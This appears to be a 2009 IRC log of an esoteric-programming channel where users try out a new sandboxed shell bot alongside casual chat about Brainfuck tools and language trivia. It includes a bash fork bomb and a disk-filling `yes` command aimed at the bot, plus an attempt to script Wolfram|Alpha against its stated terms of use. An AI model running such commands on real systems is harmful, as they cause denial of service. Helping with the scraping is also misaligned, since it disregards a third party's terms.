03:45:34 * immibis stabs myndzi in the myndzi with the mydnzi. Also, pikhq
03:46:10 * myndzi actually has flood protection
03:46:11 * immibis actually has flood protection
03:46:18 * Warrigal totally myndzi immibis myndzi immibis myndzi immibis and also wonders whether they replace all instances or only one.
03:46:18 * myndzi totally Warrigal immibis Warrigal immibis Warrigal immibis and also wonders whether they replace all instances or only one.
03:46:19 * immibis totally myndzi Warrigal myndzi Warrigal myndzi Warrigal and also wonders whether they replace all instances or only one.
03:46:19 * immibis totally Warrigal myndzi Warrigal myndzi Warrigal myndzi and also wonders whether they replace all instances or only one.
04:05:17 * immibis thinks he has triggered myndzi's flood protection
04:05:18 * myndzi thinks he has triggered immibis's flood protection
04:05:18 * immibis thinks he has triggered myndzi's flood protection
04:07:13 <immibis> hooray for flood protection
04:11:39 <myndzi> it used to blacklist users who abused but i disabled it because it tended to get in the way
04:11:55 <myndzi> and i hadn't had occasion for it to be useful in a situation like above for a long time
04:35:33 <immibis> http://forums.thedailywtf.com/forums/t/11475.aspx?View=Flat
04:51:40 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
05:28:04 -!- pikhq has joined.
05:49:24 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
06:29:47 -!- HackBot has joined.
06:30:09 <GregorR> (The world's least secure bot, now on FreeNode!)
06:31:42 <GregorR> It's sort of like EgoBot's !sh, but with a persistent environment including a bin dir that it actually uses to run its commands.
06:31:56 <GregorR> Oh, and access to google.com
06:32:06 <GregorR> And maybe I'll add esolangs.org
06:33:07 <HackBot> addquote \ calc \ define \ google \ quote
06:33:40 <GregorR> (use `run <command> for commands with full proper shell support, otherwise it just runs the command specified with the rest as one argument)
06:33:48 <GregorR> You wanted bin/define, btw
06:34:03 <HackBot> #!/bin/bash \ if [ ! "$1" ] \ then \ echo 'Define what?' \ exit 1 \ fi \ \ QUERY=`echo -n "$1" | od -t x1 -A n -w1000 | tr " " %` \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://google.com/search?q=define:'"$QUERY" | \ grep -A 3 'Definitions of' | \ head -n 4 | tail -n 3
06:34:39 <HackBot> * a violent release of energy caused by a chemical or nuclear reaction \ * the act of exploding or bursting; "the explosion of the firecrackers awoke the children"; "the burst of an atom bomb creates enormous radiation aloft" \ * a sudden great increase; "the population explosion"; "the information explosion"
06:35:11 <pikhq> `run :(){ :|:& };:
06:35:31 <GregorR> Good lawd people, when will you realize that I run everything in carefully controlled environments :P
06:40:15 <GregorR> `fetch http://pastebin.ca/raw/1467237
06:40:20 <HackBot> 2009-06-20 05:40:20 URL:http://pastebin.ca/raw/1467237 [209] -> "1467237" [1]
06:40:43 <GregorR> `run mv 1467237 bin/esolang; perl -pe 's/\x0D//g' -i bin/esolang; chmod 0755 bin/esolang
06:41:31 <GregorR> Oh, hah, forgot the URL for lynx X_X
06:42:12 <GregorR> `fetch http://pastebin.ca/raw/1467238
06:42:17 <HackBot> 2009-06-20 05:42:16 URL:http://pastebin.ca/raw/1467238 [241/241] -> "1467238" [1]
06:42:19 <GregorR> `run mv 1467238 bin/esolang; perl -pe 's/\x0D//g' -i bin/esolang; chmod 0755 bin/esolang
06:43:52 <HackBot> Brainfuck is probably the most famous of the [6]esoteric programming languages, and has inspired the creation of a host of other languages. Due to the fact that the last half of its name is often considered one of the most offensive words in the English language, it is sometimes referred to as brainf***, brainf*ck, brainfsck,
06:44:06 <HackBot> Kipple is a minimalistic [6]esoteric programming language with a set of [7]stacks, four operators, and a single control structure. Kipple was designed by [8]Rune Berge in March, 2003.
06:57:00 <HackBot> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
06:57:07 <HackBot> /tmp/hackenv.29869/bin:/usr/bin:/bin
06:57:29 <HackBot> bash \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ echo \ ed \ egrep \ false \ fgrep \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ less \ lessecho \ lessfile \ lesskey \ lesspipe \ ln \ login \ ls \ lsmod \ mkdir \ mknod \ mktemp \ more \ mount \ mountpoint \ mt \ mt-gnu
06:57:59 <immibis> `run for a in 0 1 2 3 4 5 6 7 8 9; do {echo hi; } done
07:04:32 -!- immibis has changed nick to immibis_.
07:04:38 -!- immibis_ has changed nick to immibis.
07:05:28 <HackBot> This is HackBot, the extremely hackable bot. To run a command with one argument, type "`<command>", or "`run <command>" to run a shell command. "`fetch <URL>" downloads files, otherwise the network is inaccessible. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository; if you're faimilar with mercurial, you can fix any problems caused by accidents or malice.
07:05:36 <HackBot> /usr/bin/whoami: cannot find name for user ID 2020678
07:05:45 <GregorR> Hm, that should have worked >_>
07:06:02 <immibis> `run yes > extremely-large-file
07:06:17 <immibis> `run ls -lh extremely-large-file
07:06:18 <HackBot> -rw-r--r-- 1 5000 5000 10M Jun 20 06:06 extremely-large-file
07:06:21 <immibis> `run ls -lh extremely-large-file
07:06:22 <HackBot> -rw-r--r-- 1 5000 5000 10M Jun 20 06:06 extremely-large-file
07:06:26 <immibis> `run ls -l extremely-large-file
07:06:27 <HackBot> -rw-r--r-- 1 5000 5000 10485760 Jun 20 06:06 extremely-large-file
07:06:44 <HackBot> /bin/df: cannot read table of mounted file systems: No such file or directory
07:06:45 <GregorR> It's really not all that extremely large, is it :P
07:07:02 <immibis> `run yes 2>&1 > other-extremely-large-file
07:07:04 <HackBot> /usr/bin/yes: standard output: File too large \ /usr/bin/yes: write error
07:07:12 <HackBot> rootfs on / type rootfs (rw) \ none on /sys type sysfs (rw,nosuid,nodev,noexec) \ none on /proc type proc (rw,nosuid,nodev,noexec) \ udev on /dev type tmpfs (rw,size=10240k,mode=755) \ /dev/disk/by-label/PRGMRDISK1 on / type ext3 (rw,errors=remount-ro,data=ordered) \ tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=755)
07:07:26 <HackBot> Usage: mount -V : print version \ mount -h : print this help \ mount : list mounted filesystems \ mount -l : idem, including volume labels \ So far the informational part. Next the mounting. \ The command is `mount [-t fstype] something
07:08:03 <HackBot> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
07:08:13 <HackBot> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
07:08:20 <pikhq> `ln -s /proc/mounts /mnt/mtab
07:08:38 <HackBot> Also you think they're solving murders all the time? They're out wiritng ..... your-a-moron. it should have been labeled youre-a-moron regardless of the ... \ digg.com/xbox/WOW_You_re_a_MORON - [17]Cached - [18]Similar
07:08:54 <pikhq> `ln -s /proc/mounts /etc/mtab
07:08:56 <HackBot> /bin/df: cannot read table of mounted file systems: No such file or directory
07:09:37 <GregorR> Didn't you guys get your fill doing this to EgoBot ?
07:11:45 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
07:16:40 -!- pikhq has joined.
07:21:07 -!- EgoBot has quit (Remote closed the connection).
07:21:26 -!- EgoBot has joined.
07:21:46 -!- HackBot has quit (Remote closed the connection).
07:23:43 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
07:34:09 -!- pikhq has joined.
07:42:12 <EgoBot> /usr/bin/whoami: cannot find name for user ID 1468460
07:42:22 <EgoBot> /bin/df: cannot read table of mounted file systems: No such file or directory
07:42:36 <GregorR> Except that HackBot lets you keep files.
07:42:42 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:56 <immibis> but in the same root as hackbot
09:16:31 -!- kar8nga has joined.
09:30:15 -!- MigoMipo has joined.
09:32:23 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
09:32:54 -!- Patashu has joined.
09:44:00 <immibis> heh, "find | xargs grep" will stop if it encounters a fifo
09:44:23 * immibis now knows how to piss off people who use the command line for everything
09:45:10 <immibis> assuming nothing else is using the fifo, yes
09:45:17 <immibis> because grep tries to read from it until eof
09:46:49 <immibis> so it will pause until something writes to the fifo
09:47:20 <immibis> sorry, "stop" is ambiguous. i meant "pause"
10:28:19 -!- immibis has quit ("Make it idiot proof and someone will make a better idiot.").
10:30:52 -!- oerjan has joined.
10:41:03 <oerjan> proper spelling is "morgen"
10:41:26 <AnMaster> similar to Swedish "morgon" indeed.
10:42:27 <oerjan> as i implied the other day, i find it amusing that !swedish tends to _add_ e's when the impression for a norwegian is the exact opposite
10:50:12 <AnMaster> impression? You mean when a Norwegian would think the reverse would apply for Swedish?
10:50:34 <oerjan> yes, you turn e's into other things all over the place :D
10:51:15 <AnMaster> oerjan, I suspect it was actually the opposite, when you consider history :P
10:52:15 <oerjan> also it doesn't apply wrt all norwegian, many dialects and nynorsk have plenty of non-e
10:52:20 <AnMaster> oerjan, but you say we *add* e:s too? (err what is the plural of "e"? I can't be e's, since that would be like "foo's bar"...)
10:52:39 <oerjan> nevertheless i think it's e's
10:52:48 <AnMaster> yeah that command is so wrong :P
10:53:13 <oerjan> "e's" as the plural of "e"
10:53:32 * oerjan swats AnMaster -----###
10:54:01 <AnMaster> oerjan, go dance some samba then
10:54:11 * AnMaster wonders if oerjan will get that obscure reference
10:54:34 <AnMaster> you know the software samba right?
10:55:04 <AnMaster> windows file sharing server/client tools for *nix.
10:55:17 <oerjan> that's the part i _know_ when i say barely
10:55:20 <AnMaster> it's web config ui thingy is called SWAT
10:55:51 <AnMaster> iirc that stands for Samba Web Administration Tool
10:55:56 <oerjan> ok, that was better than i feared
10:56:05 <AnMaster> oerjan, what did you fear then...
10:56:22 <oerjan> something even more incomprehensible
11:10:23 -!- kar8nga has quit (Remote closed the connection).
11:29:10 -!- KingOfKarlsruhe has joined.
11:29:12 -!- oerjan has quit ("leaving").
11:40:09 -!- Corun has joined.
11:47:37 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
12:37:39 -!- BeholdMyGlory has joined.
13:02:59 -!- Corun has quit.
13:38:19 -!- upyr[emacs] has joined.
13:58:04 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
14:27:44 -!- MigoMipo has joined.
14:34:13 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 .").
14:45:23 -!- bsmntbombdood has joined.
14:46:35 -!- KingOfKarlsruhe has quit (Remote closed the connection).
15:02:22 -!- bsmntbombdood has quit (Connection timed out).
15:27:35 -!- kar8nga has joined.
15:55:01 -!- pikhq has joined.
15:56:04 -!- HackBot has joined.
16:02:06 -!- iEhird has joined.
16:02:58 <iEhird> oerjan: and your batallion is weaker still :p
16:03:10 -!- iEhird has quit (Remote closed the connection).
16:14:34 -!- Hiato has joined.
16:30:04 -!- ais523 has joined.
16:41:55 -!- Hiato has quit (Remote closed the connection).
17:01:33 -!- kar8nga has quit (Read error: 104 (Connection reset by peer)).
17:26:50 <GregorR> `addquote <Slereah> EgoBot just opened a chat session with me to say "bork bork bork"
17:27:54 <GregorR> Hm, HackBot is FreeNode-unresponsive ...
17:28:21 <GregorR> Ohhhhhhh, and I know why >_>
17:29:07 -!- HackBot has quit (Remote closed the connection).
17:30:22 -!- HackEgo has joined.
17:30:39 <GregorR> It's a bot I made that's sort of like EgoBot's !sh, but more powerful because it allows persistent files.
17:30:50 <GregorR> So anybody can add new commands, e.g.
17:30:52 <GregorR> `addquote <Slereah> EgoBot just opened a chat session with me to say "bork bork bork"
17:30:53 <HackEgo> 5|<Slereah> EgoBot just opened a chat session with me to say "bork bork bork"
17:35:23 <GregorR> That is, since addquote is just a file in $PWD/bin:
17:35:25 <HackEgo> addquote \ calc \ define \ esolang \ google \ imdb \ quote
17:36:33 <ais523> also, you're sharing a prefix with unlambda
17:37:12 <GregorR> Well, unlambda isn't here ;P
17:38:03 <HackEgo> Retrieved from "[8]http://esolangs.org/wiki/Bf"
17:38:03 -!- kar8nga has joined.
17:38:13 <GregorR> Heh, you need the full name :P
17:38:17 <HackEgo> Brainfuck is probably the most famous of the [6]esoteric programming languages, and has inspired the creation of a host of other languages. Due to the fact that the last half of its name is often considered one of the most offensive words in the English language, it is sometimes referred to as brainf***, brainf*ck, brainfsck,
17:38:26 <GregorR> It just fetches junk from the esolang wiki.
17:38:38 <HackEgo> Retrieved from "[8]http://esolangs.org/wiki/Main_page"
17:38:48 <HackEgo> NTCM is an [6]esoteric programming language developped by [7]user:Slereah. It is based on a [8]Turing machine with multiple tapes and I/O (the name stands for n-tape choice machine).
17:38:58 <HackEgo> This article is a stub, which means that it is not detailed enough and needs to be expanded. Please help us by adding some more information.
17:39:15 <GregorR> ais523: It's hard to guess what the relevant info is in a short shell script :P
17:39:20 <HackEgo> Retrieved from "[8]http://esolangs.org/wiki/Recursion"
17:41:30 <GregorR> Oh, and you can use `fetch <URL> to download stuff into the environment. But be careful of pastebins, most of them put \r\n-style newlines on so you'll have to run it through dos2unix for it to work.
17:47:40 <pikhq> Imagine, they use network newlines.
17:47:58 <pikhq> (yes, that's not just a DOS-ism, that's RFC. Whooo.)
17:48:01 <GregorR> But it doesn't matter after the headers :P
18:03:39 -!- bsmntbombdood has joined.
18:08:06 -!- iEhird has joined.
18:08:46 <iEhird> PETA asked phish to rename to sea kitten. I'm not joking
18:08:54 -!- iEhird has quit (Remote closed the connection).
18:20:33 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
19:01:32 <GregorR> http://img40.imageshack.us/img40/9172/1245456677307.jpg
19:20:38 <AnMaster> hm, I remember someone in here made some tool to figure out shortest link path from one article to another on wikipedia... But I can't find it in the logs...
19:20:49 <ais523> that was GregorR, wasn't it?
19:21:12 <GregorR> I made a vaguely similar "tool" which is a game and not a tool :P
19:21:23 <AnMaster> GregorR, so who made the tool then
19:21:24 <MigoMipo> AnMaster: http://www.netsoc.tcd.ie/~mu/wiki/
19:24:41 <GregorR> Congratulations! You found Jesus in 4 clicks!
19:26:33 <GregorR> My pseudo-related thing is a web version of Five Clicks to Jesus
19:27:16 <AnMaster> GregorR, I wonder how much longer the paths would be without articles like [[2007]] [[5]] and such
19:32:04 -!- bsmntbombdood has joined.
19:40:04 <lament> i read paths as penis :(
19:40:51 <GregorR> `addquote <lament> i read paths as penis :(
19:40:51 <HackEgo> 4|<lament> i read paths as penis :(
19:50:09 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
19:50:41 -!- bsmntbombdood has joined.
19:51:11 -!- oerjan has joined.
19:51:45 -!- CESSMASTER has quit (Remote closed the connection).
19:52:38 <oerjan> 08:02:29 <iEhird> erik naggum 1965-2009
19:52:38 <oerjan> 08:02:58 <iEhird> oerjan: and your batallion is weaker still :p
19:53:16 * oerjan swats that smile off ehird's face -----###
19:55:18 * oerjan thinks he _may_ have talked to naggum on usenet once. possibly.
19:59:00 <AnMaster> google only gives "erik naggum" for that, The same?
19:59:32 <oerjan> any chance you could read more than three lines up?
19:59:58 <AnMaster> oerjan, I don't want to give anyone a shock by doing that, so no
20:00:14 <AnMaster> also it is probably against my religion or something.
20:00:27 <oerjan> well then you'll just have to remain ignorant on this issue as with others ;D
20:01:09 <pikhq> Random, silly idea. Funcfuck. Brainfuck with: variables, functions. Nothing else. ... Clearly, I'm bored on a Saturday.
20:02:00 <AnMaster> pikhq, variables and functions.. hm. Details.
20:02:19 <AnMaster> I guess you need variable assignment too
20:03:31 <pikhq> cp(x,y){@a x[y+a+x-] a[x+a-]}
20:03:58 <AnMaster> pikhq, that isn't only variables though, that is a loop there.
20:04:10 <pikhq> Declare a variable.
20:04:27 <pikhq> And yes, there's a loop. That's Brainfuck.
20:04:34 <AnMaster> also addition and substraction
20:04:45 <pikhq> That's Brainfuck. Yes.
20:04:47 <AnMaster> pikhq, then it isn't *only* variables and functions really ;P
20:05:01 <AnMaster> (depends on what you meant with only there)
20:05:20 <pikhq> "Nothing else" meaning "that's all that's added".
20:05:23 <AnMaster> pikhq, ah, I interpreted "Nothing else" as "remove all other bf stuff"
20:05:39 <AnMaster> both interpretations were possible
20:05:57 <pikhq> Brainfuck with *only* variables and functions would not be Brainfuck. That'd be (lambda) and (def).
20:06:52 <AnMaster> pikhq, that was my conclusion too.
20:06:54 * pikhq may want to use Gregor's Brainfuck ld for this; need to figure out how that works
20:07:16 <AnMaster> pikhq, you could compile it into something else than bf
20:07:26 <AnMaster> like, C, or whatever. Quite trivially
20:07:42 <AnMaster> pikhq, also, what is this "Brainfuck ld"
20:07:59 <pikhq> It's a linker. For Brainfuck.
20:08:16 <AnMaster> pikhq, I was wondering "what sort of input", but that answered my question
20:08:31 <AnMaster> (since you need some sort of metadata to perform meaningful linking)
20:08:41 <ais523> a lot simpler than bf-ld, I imagine
20:08:45 <ais523> because bf-ld's an assembler too
20:10:09 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
20:10:16 <AnMaster> ais523, on the other hand, higher level input allows you to more easily do optimisations on the output. Which is why you don't use plain old object files for LTO, but some sort of extended format, such as llvm bytecode or whatever
20:10:19 -!- bsmntbombdood has joined.
20:10:35 <AnMaster> and I can actually think of some possible LTO for bf yes
20:10:38 <ais523> AnMaster: I don't really care about link-time optimisations for gcc-bf
20:10:49 <ais523> just simple things like efficient multiplication are hard enough
20:11:36 <AnMaster> for example: based on profile feedback (or heuristics if profile feedback isn't available) try to place called functions close to the caller.
20:12:28 <AnMaster> the function itself too maybe, if it means you can just go straight into that function, skipping the main switch thingy. Would help for tail calls I guess..
20:13:16 <AnMaster> ais523, at what layer of gcc does it handle tail call optimisation
20:13:28 <pikhq> I'd imagine it's in RTL.
20:13:31 <ais523> AnMaster: I don't know off hand
20:13:39 <ais523> but it'll either be at the RTL or GENERIC level, most likely
20:17:22 <oerjan> <GregorR> ais523: It's hard to guess what the relevant info is in a short shell script :P
20:17:44 <oerjan> you could look for the ''' title bolding
20:18:09 <GregorR> I'm downloading the rendered HTML, not the source wikicode.
20:18:24 <ais523> look for bold tags then
20:22:19 -!- augur_ has joined.
20:22:20 -!- augur has quit (Read error: 104 (Connection reset by peer)).
20:25:56 <HackEgo> Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux
20:26:50 <AnMaster> ais523, but the output of gcc-bf is tail call optimised too right?
20:27:01 <AnMaster> since the switch for it is an -f one, not an -m one
20:27:10 <ais523> I wasn't modifying the bit of gcc that does that
20:27:24 <pikhq> Easy to test if you've got gcc-bf producing functioning output.
20:27:58 <AnMaster> ais523, btw, much to do in "RL" still?
20:28:19 <ais523> AnMaster: no, but I've just finished my degree
20:28:27 <ais523> and am not in much of a mood to do anything, I'm rather tired and breathless
20:29:07 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
20:29:32 <GregorR> Tia would be a better lap kitty if she wasn't so overweight :P
20:30:49 <ais523> I've got a provisional first, which is great
20:32:28 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)).
20:33:11 <AnMaster> "provisional first"? The google results I get are all about US tax...
20:33:20 * GregorR has no idea what that means in context.
20:33:58 <ais523> ok, there are five ranks of degree results you can get in the UK
20:34:07 <ais523> first (best), upper second, lower second, third, and pass
20:34:11 <ais523> also, fail, but that isn't a degree at all
20:34:28 <ais523> and provisional just means that the mark hasn't been approved by the final appeals board people yet
20:34:38 <ais523> generally speaking, though, they leave marks the same unless there's an appeal
20:34:57 <ais523> AnMaster: it's also a possible result from exams
20:37:59 <oerjan> and your exam result is... "great success!"
20:38:53 <GregorR> ALL YOUR EXAM ARE BELONG TO US
20:39:43 * oerjan sometimes feels slightly bad about using memes from sources he hasn't seen himself...
20:39:54 <oerjan> but then, probably everyone does
20:40:31 <AnMaster> Why aren't there any memes based on the works of Shakespeare for example? Or are there?
20:41:02 <oerjan> some of those are probably so ingrained in english that no one knows they are memes...
20:41:31 <ais523> many words in common English usage were apparently invented by Shakespeare
20:41:40 <oerjan> since in principle every word is a meme
20:41:44 <ais523> I can't remember offhand
20:41:49 <ais523> but a websearch will probably find out
20:42:10 <GregorR> `google words invented by shakespeare
20:42:10 <HackEgo> And what really gets my goat up is you thinking that Shakespeare borrowed words that were already in existance at the time he did not, he INVENTED these ... \ piksels.com/words-invented-by-shakespeare/ - [17]Cached - [18]Similar
20:42:23 <ais523> http://www.nosweatshakespeare.com/resources/shakespeare-words.htm is one interesting result
20:42:32 <ais523> I don't know how accurate it is, but it contains words such as "apostrophe"
20:42:46 <oerjan> ais523: i seem to vaguely recall reading that that is a bit of a myth based on he being just the first known source of a word...
20:43:02 <oerjan> but then, that may have been a myth too
20:43:11 <ais523> I don't see any reason why Shakespeare would be the one to invent apostrophes
20:43:30 <Deewiant> Apostrophe has another meaning than ', it could have been that one
20:43:54 <oerjan> ah wikipedia supports me
20:43:56 <Deewiant> Although dictionary.com suggests that specifically the ' meaning originated during Shakespeare's time
20:44:10 <oerjan> "It is often stated that Shakespeare "invented" ("coined") more words into English than any other author. This is a misconception . rather, Shakespeare's works are often the earliest cited written record of many words in such dictionaries as the Oxford English Dictionary (OED)."
20:44:49 <oerjan> although that section has disturbingly no citations
20:45:10 <GregorR> Citations are for the weak.
20:45:35 <oerjan> the next section says the exact opposite, and is littered with "citation needed" :D
20:45:55 <oerjan> (http://en.wikipedia.org/wiki/Shakespeare's_influence)
20:47:20 <ais523> incidentally, Enigma fans: http://download.berlios.de/enigma-game/ExtralifeCandidates.png
20:47:25 <ais523> they want to replace the extra life symbol
20:47:36 <ais523> and those are the four suggested replacements
20:49:16 <GregorR> http://codu.org/projects/hackbot/fshg/
20:49:42 <pikhq> Y'know what Esotope needs? A brainfuck backend.
20:54:53 <oerjan> that article seems to have become rather confusing as the result of merging at least 3 older articles
20:55:56 <AnMaster> <ais523> incidentally, Enigma fans: http://download.berlios.de/enigma-game/ExtralifeCandidates.png <--- application/x-download ? wth?
20:56:24 <AnMaster> wm;dl (wrong mime type, didn't look)
20:56:31 <ais523> AnMaster: yep, I was having trouble too
20:56:43 <ais523> but then, the Enigma people never seem to put information up in a sensible manner
20:56:52 <ais523> I remember them linking to a Flash video rather than embedding it, for instance
20:57:26 <AnMaster> ais523, ok I opened it from inside gimp
20:57:35 <AnMaster> I don't understand what that picture is showing...
20:58:02 <ais523> AnMaster: it's an Enigma level
20:58:09 <ais523> with the new extralife symbols added
20:58:19 <ais523> the question is, which of the four yellow symbols works best as an extralife
20:58:52 <AnMaster> ais523, I thought it was some new system to replace extra lives...
20:58:58 <AnMaster> anyway the current one look best
20:58:59 <ais523> no, just a different image
20:59:02 <AnMaster> the other one looks out of place
20:59:14 <ais523> and they want to move away from the current one, as it looks identical to a new actor they want to add
20:59:31 <AnMaster> ais523, why not use one of those symbols as the actor then ;P
20:59:44 <AnMaster> would be less confusing for old players
20:59:54 <ais523> AnMaster: because it wouldn't look like a black version of the meditation marble
21:02:20 <AnMaster> ais523, they should make the main ball yellow too then (which would rather defeat the point as well)
21:02:45 <ais523> the extralives are black on the ground even if you have a white marble, though
21:09:37 -!- augur has joined.
21:10:01 -!- augur has quit (Read error: 104 (Connection reset by peer)).
21:10:30 -!- augur has joined.
21:10:48 -!- augur_ has quit (Read error: 104 (Connection reset by peer)).
21:16:06 * GregorR can't figure out a way to make HackEgo support wolfram-alpha.
21:16:59 <AnMaster> GregorR, you can't say that. Coding a MIPS emulator in JS then saying stupid JS... You are disqualified.
21:23:54 <ehird> Warrigal: feel free.
21:25:09 <ehird> 11:52:38 <oerjan> 08:02:29 <iEhird> erik naggum 1965-2009
21:25:11 <ehird> 11:59:00 <AnMaster> google only gives "erik naggum" for that, The same?
21:25:38 <ehird> 12:01:09 <pikhq> Random, silly idea. Funcfuck. Brainfuck with: variables, functions. Nothing else. ... Clearly, I'm bored on a Saturday.
21:26:37 * pikhq is thinking of implementing a Forth, instead. Significantly more useful and all that.
21:27:09 <ehird> pikhq: A Forth; Forths. Forthii. Forthae.
21:29:28 <ehird> It's called Latin, swine.
21:29:47 <AnMaster> svin kan du vara själv i så fall
21:29:54 <oerjan> Cithius, Althius, Forthius
21:30:20 <ehird> 12:27:58 <AnMaster> ais523, btw, much to do in "RL" still?
21:30:24 <ehird> clearly AnMaster has never been a university student
21:30:50 <AnMaster> ehird, I wasn't sure if it was summer holidays for him yet.
21:30:59 <AnMaster> what with different such in different countries too
21:34:55 <ehird> 12:47:20 <ais523> incidentally, Enigma fans: http://download.berlios.de/enigma-game/ExtralifeCandidates.png
21:34:55 <ehird> 12:47:25 <ais523> they want to replace the extra life symbol
21:34:57 <ehird> 12:47:36 <ais523> and those are the four suggested replacements
21:35:01 <ehird> there is no reason for it to be in a yellow box.
21:35:06 <ehird> make it a red heart
21:35:50 <ehird> if you disagree, you're wrong :) :P
21:36:15 <ehird> 13:16:06 * GregorR can't figure out a way to make HackEgo support wolfram-alpha.
21:36:15 <ehird> 13:16:10 <GregorR> Stupid JS :P
21:36:21 <ehird> GregorR: hook into webkit then kill yourself
21:37:09 * pikhq is crazy, and thinking of writing a Brainfuck Forth.
21:37:22 <ehird> pikhq: Considered that, started, gave up; it's not actually all that interesting.
21:37:27 <ehird> pikhq: It'd be a fairly trivial translation of JonesForth.
21:37:47 <ehird> pikhq: Write a minimal forth forth that can forth itself :-)
21:38:35 <Warrigal> ehird: actually, I may have said this already.
21:38:41 <ehird> Quite a few Forths are written in Forth, apparently, or at least used to be; I suppose that's less common what with Forth not being very ubiquitous these days and certainly things like gforth and RetroForth aren't written in Forth.
21:38:55 <Warrigal> Anyway, OMG SOMETIMES HOW IT WORKS IN NATURE IS BETTER THAN SOME RANDOM THING YOU CAME UP WITH
21:38:56 <ehird> Warrigal: Well, say it again anyway; whatever it is, I've probably forgotten it.
21:39:05 <ehird> Warrigal: Now, what was that in response to?
21:39:25 <Warrigal> Something along the lines of OMG SOMETIMES GENETIC ALGORITHMS DON'T WORK EXACTLY THE SAME WAY AS IN NATURE
21:39:51 <ehird> Warrigal: If that's what I said, then your response is stupid :p
21:40:11 <Warrigal> Telling me it's stupid isn't going to help, because I already think that it's not stupid.
21:40:44 <GregorR> Bleh, I can't even convince wolfram to generate a PDF for me :P
21:40:45 <ehird> Warrigal: you're an butt.
21:40:55 <ehird> GregorR: He's too busy fondling his ego.
21:41:20 <ehird> GregorR: Fun fact: that "PDF" link is actually a <span>.
21:41:35 <ehird> The "Mathematica form" links on some inputs? They're javascript: links.
21:41:40 <ehird> Consistency hyuk hyuk!
21:42:07 <GregorR> I tried going to the URL specified in the JS manually, but it figures out I'm being sneaky and doesn't generate the PDF :P
21:43:12 <GregorR> Mmm, referrer, that's a good point >_>
21:43:55 <ehird> GregorR: Referer. It's in the HTTP spec.
21:44:01 <ehird> An HTTP referer is a referrer.
21:44:13 <ehird> YOU SHALL EXHALT THE EXHALTED TYPO.
21:44:38 <ehird> Hmm, seems like http://lemonodor.com/ is dead. No posts since september and the main page just links to archives instead of recent posts.
21:46:09 <GregorR> Nope, referrer didn't solve it ...
21:46:22 <GregorR> Maybe it's because I'm not actually generating all the data in the first place :P
21:47:59 <AnMaster> I think someone mentioned a "don't ever remove anything" file system in here some months ago.
21:48:09 <AnMaster> mentioned as "discussed the idea"
21:48:28 <AnMaster> seems like the lastest linux kernel supports such an FS
21:50:41 -!- kar8nga has quit (Remote closed the connection).
21:53:03 <Warrigal> AnMaster: ehird said "exhalt".
21:53:34 <ehird> AnMaster: You can... look up?
21:53:36 <ehird> Further than 3 lines?
21:53:40 <ehird> THIS CHANGES. EVERYTHING.
21:53:56 <AnMaster> ehird, only when the phase of the moon is exactly correct
21:54:06 <AnMaster> oh and about 500 other variables too
22:00:16 <GregorR> Well, I can get wolframalpha to give me the necessary data in JSON format :P
22:01:08 <GregorR> Do you think graphs are going to make it here?
22:04:25 * GregorR just doesn't understand why the PDF part isn't working ... I can get all the data, I just can't convince it to make a PDF :(
22:05:54 <GregorR> It's because I'm a retord!
22:06:54 <fizzie> Just in case you haven't noticed (although you probably already know); you're actively trying to be in violation of the W|A Terms of Use: "The Wolfram|Alpha service may be used only by a human being using a conventional web browser to manually enter queries one at a time."
22:07:54 <pikhq> GregorR: So, think you could describe the format of your Brainfuck ld?
22:07:57 <ais523> they also claim people under 18 can't use
22:08:53 <pikhq> ... So, don't even remember it. Great.
22:09:02 <pikhq> Fills me with confidence in trying to use it for anything. :P
22:10:33 <GregorR> pikhq: If you read the file, try to figure something out, then ask me, I may be jogged into remembering :P
22:11:15 <oerjan> this information is available only on a need-to-know basis. even to the author.
22:11:25 <GregorR> `fetch http://pastebin.ca/raw/1467987
22:11:26 <HackEgo> 2009-06-20 21:11:25 URL:http://pastebin.ca/raw/1467987 [846/846] -> "1467987" [1]
22:11:42 <GregorR> `run mv "1467987" bin/wolfram; dos2unix bin/wolfram; chmod 0755 bin/wolfram; echo done
22:11:48 <GregorR> `wolfram distance to jupiter
22:11:56 <HackEgo> distance to jupiter Input interpretation: Jupiter Current result: distance from Earth 4.436 AU astronomical units Value: 6.636 108 km kilometers Comparison as distance: 4.4 mean Earth Sun distance Corresponding quantity: 1 AU Solar radiation pressure from P 0.23 µPa micropascals L c4Πr2 : Generated by Wolfram|Alpha
22:11:56 <ehird> `wolfram PLOT DISTANCE TO JUPITER OVER TIME LOLOLOL
22:12:02 <ehird> GregorR: Needs moar \
22:12:54 <ehird> http://www81.wolframalpha.com/input/?i=distance+to+jupiter+over+time
22:12:57 <ehird> Jupiter | distance from Earth | current time
22:12:57 <ehird> location Over,United Kingdom
22:13:37 <GregorR> The distance is much greater from over the US.
22:13:51 <HackEgo> 4.43600 Astronomical Units = 412 352 317 miles
22:14:12 <pikhq> GregorR: Of (stack heap stack-marker walk carry), what is the pointer on?
